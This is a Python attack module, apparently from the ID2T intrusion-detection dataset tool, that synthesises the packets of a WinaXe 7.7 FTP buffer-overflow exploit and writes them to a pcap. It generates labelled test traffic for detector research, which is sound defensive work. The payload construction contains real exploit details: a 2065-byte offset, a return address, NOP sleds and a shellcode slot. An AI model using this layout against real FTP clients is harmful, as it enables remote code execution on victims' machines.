FTPWinaXeExploit.py 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248
  1. import logging
  2. import ID2TLib.Utility
  3. from random import randint
  4. from lea import Lea
  5. from scapy.layers.inet import IP, Ether, TCP
  6. from Attack import BaseAttack
  7. from Attack.AttackParameters import Parameter as Param
  8. from Attack.AttackParameters import ParameterTypes
  9. from ID2TLib.Utility import update_timestamp, generate_source_port_from_platform, get_rnd_x86_nop, forbidden_chars,\
  10. get_rnd_bytes , check_payload_len
  11. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  12. # noinspection PyPep8
  13. ftp_port = 21
  14. class FTPWinaXeExploit(BaseAttack.BaseAttack):
  15. def __init__(self):
  16. """
  17. Creates a new instance of the FTPWinaXeExploit.
  18. """
  19. # Initialize attack
  20. super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.",
  21. "Privilege elevation")
  22. # Define allowed parameters and their type
  23. self.supported_params = {
  24. Param.IP_SOURCE: ParameterTypes.TYPE_IP_ADDRESS,
  25. Param.IP_DESTINATION: ParameterTypes.TYPE_IP_ADDRESS,
  26. Param.MAC_SOURCE: ParameterTypes.TYPE_MAC_ADDRESS,
  27. Param.MAC_DESTINATION: ParameterTypes.TYPE_MAC_ADDRESS,
  28. Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT,
  29. Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION,
  30. Param.IP_SOURCE_RANDOMIZE: ParameterTypes.TYPE_BOOLEAN,
  31. Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT,
  32. Param.CUSTOM_PAYLOAD: ParameterTypes.TYPE_STRING,
  33. Param.CUSTOM_PAYLOAD_FILE: ParameterTypes.TYPE_STRING
  34. }
  35. def init_params(self):
  36. """
  37. Initialize the parameters of this attack using the user supplied command line parameters.
  38. Use the provided statistics to calculate default parameters and to process user
  39. supplied queries.
  40. """
  41. # PARAMETERS: initialize with default values
  42. # (values are overwritten if user specifies them)
  43. most_used_ip_address = self.statistics.get_most_used_ip_address()
  44. if isinstance(most_used_ip_address, list):
  45. most_used_ip_address = most_used_ip_address[0]
  46. # The most used IP class in background traffic
  47. most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
  48. attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
  49. self.add_param_value(Param.IP_DESTINATION, attacker_ip)
  50. self.add_param_value(Param.MAC_DESTINATION, self.generate_random_mac_address())
  51. random_ip_address = self.statistics.get_random_ip_address()
  52. # victim should be valid and not equal to attacker
  53. while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
  54. random_ip_address = self.statistics.get_random_ip_address()
  55. self.add_param_value(Param.IP_SOURCE, random_ip_address)
  56. victim_mac = self.statistics.get_mac_address(random_ip_address)
  57. if isinstance(victim_mac, list) and len(victim_mac) == 0:
  58. victim_mac = self.generate_random_mac_address()
  59. self.add_param_value(Param.MAC_SOURCE, victim_mac)
  60. self.add_param_value(Param.PACKETS_PER_SECOND,
  61. (self.statistics.get_pps_sent(most_used_ip_address) +
  62. self.statistics.get_pps_received(most_used_ip_address)) / 2)
  63. self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count()))
  64. self.add_param_value(Param.IP_SOURCE_RANDOMIZE, 'False')
  65. self.add_param_value(Param.CUSTOM_PAYLOAD, '')
  66. self.add_param_value(Param.CUSTOM_PAYLOAD_FILE, '')
  67. def generate_attack_pcap(self):
  68. def get_ip_data(ip_address: str):
  69. """
  70. :param ip_address: The ip of which (packet-)data shall be returned
  71. :return: MSS, TTL and window size values of the given IP
  72. """
  73. # Set MSS (Maximum Segment Size) based on MSS distribution of IP address
  74. mss_dist = self.statistics.get_mss_distribution(ip_address)
  75. if len(mss_dist) > 0:
  76. mss_prob_dict = Lea.fromValFreqsDict(mss_dist)
  77. mss_value = mss_prob_dict.random()
  78. else:
  79. mss_value = self.statistics.process_db_query("most_used(mssValue)")
  80. # Set TTL based on TTL distribution of IP address
  81. ttl_dist = self.statistics.get_ttl_distribution(ip_address)
  82. if len(ttl_dist) > 0:
  83. ttl_prob_dict = Lea.fromValFreqsDict(ttl_dist)
  84. ttl_value = ttl_prob_dict.random()
  85. else:
  86. ttl_value = self.statistics.process_db_query("most_used(ttlValue)")
  87. # Set Window Size based on Window Size distribution of IP address
  88. win_dist = self.statistics.get_win_distribution(ip_address)
  89. if len(win_dist) > 0:
  90. win_prob_dict = Lea.fromValFreqsDict(win_dist)
  91. win_value = win_prob_dict.random()
  92. else:
  93. win_value = self.statistics.process_db_query("most_used(winSize)")
  94. return mss_value, ttl_value, win_value
  95. pps = self.get_param_value(Param.PACKETS_PER_SECOND)
  96. # Timestamp
  97. timestamp_next_pkt = self.get_param_value(Param.INJECT_AT_TIMESTAMP)
  98. # store start time of attack
  99. self.attack_start_utime = timestamp_next_pkt
  100. # Initialize parameters
  101. ip_victim = self.get_param_value(Param.IP_SOURCE)
  102. ip_attacker = self.get_param_value(Param.IP_DESTINATION)
  103. mac_victim = self.get_param_value(Param.MAC_SOURCE)
  104. mac_attacker = self.get_param_value(Param.MAC_DESTINATION)
  105. custom_payload = self.get_param_value(Param.CUSTOM_PAYLOAD)
  106. custom_payload_len = len(custom_payload)
  107. custom_payload_limit = 1000
  108. check_payload_len(custom_payload_len, custom_payload_limit)
  109. packets = []
  110. # Create random victim if specified
  111. if self.get_param_value(Param.IP_SOURCE_RANDOMIZE):
  112. # The most used IP class in background traffic
  113. most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
  114. ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
  115. mac_victim = self.generate_random_mac_address()
  116. # Get MSS, TTL and Window size value for victim/attacker IP
  117. victim_mss_value, victim_ttl_value, victim_win_value = get_ip_data(ip_victim)
  118. attacker_mss_value, attacker_ttl_value, attacker_win_value = get_ip_data(ip_attacker)
  119. minDelay, maxDelay = self.get_reply_delay(ip_attacker)
  120. attacker_seq = randint(1000, 50000)
  121. victim_seq = randint(1000, 50000)
  122. sport = generate_source_port_from_platform("win7")
  123. # connection request from victim (client)
  124. victim_ether = Ether(src=mac_victim, dst=mac_attacker)
  125. victim_ip = IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
  126. request_tcp = TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
  127. seq=victim_seq, options=[('MSS', victim_mss_value)])
  128. victim_seq += 1
  129. syn = (victim_ether / victim_ip / request_tcp)
  130. syn.time = timestamp_next_pkt
  131. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  132. packets.append(syn)
  133. # response from attacker (server)
  134. attacker_ether = Ether(src=mac_attacker, dst=mac_victim)
  135. attacker_ip = IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
  136. reply_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
  137. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  138. attacker_seq += 1
  139. synack = (attacker_ether / attacker_ip / reply_tcp)
  140. synack.time = timestamp_next_pkt
  141. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  142. packets.append(synack)
  143. # acknowledgement from victim (client)
  144. ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  145. window=victim_win_value, options=[('MSS', victim_mss_value)])
  146. ack = (victim_ether / victim_ip / ack_tcp)
  147. ack.time = timestamp_next_pkt
  148. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  149. packets.append(ack)
  150. # FTP exploit packet
  151. ftp_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
  152. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  153. characters = b'220'
  154. characters += get_rnd_bytes(2065, forbidden_chars)
  155. characters += b'\x96\x72\x01\x68'
  156. characters += get_rnd_x86_nop(10, False, forbidden_chars)
  157. custom_payload_file = self.get_param_value(Param.CUSTOM_PAYLOAD_FILE)
  158. if custom_payload == '':
  159. if custom_payload_file == '':
  160. payload = get_rnd_bytes(custom_payload_limit, forbidden_chars)
  161. else:
  162. payload = ID2TLib.Utility.get_bytes_from_file(custom_payload_file)
  163. check_payload_len(len(payload), custom_payload_limit)
  164. payload += get_rnd_x86_nop(custom_payload_limit - len(payload), False, forbidden_chars)
  165. else:
  166. encoded_payload = custom_payload.encode()
  167. payload = get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, forbidden_chars)
  168. payload += encoded_payload
  169. characters += payload
  170. characters += get_rnd_x86_nop(20, False, forbidden_chars)
  171. characters += b'\r\n'
  172. ftp_tcp.add_payload(characters)
  173. ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
  174. ftp_buff.time = timestamp_next_pkt
  175. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  176. packets.append(ftp_buff)
  177. attacker_seq += len(ftp_tcp.payload)
  178. # Fin Ack from attacker
  179. fin_ack_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
  180. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  181. fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
  182. fin_ack.time = timestamp_next_pkt
  183. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  184. packets.append(fin_ack)
  185. # Ack from victim on FTP packet
  186. ftp_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  187. window=victim_win_value, options=[('MSS', victim_mss_value)])
  188. ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
  189. ftp_ack.time = timestamp_next_pkt
  190. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  191. packets.append(ftp_ack)
  192. # Ack from victim on Fin/Ack of attacker
  193. fin_ack_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq+1, flags='A',
  194. window=victim_win_value, options=[('MSS', victim_mss_value)])
  195. fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
  196. fin_ack_ack.time = timestamp_next_pkt
  197. packets.append(fin_ack_ack)
  198. # store end time of attack
  199. self.attack_end_utime = packets[-1].time
  200. # write attack packets to pcap
  201. pcap_path = self.write_attack_pcap(sorted(packets, key=lambda pkt: pkt.time))
  202. # return packets sorted by packet time_sec_start
  203. return len(packets), pcap_path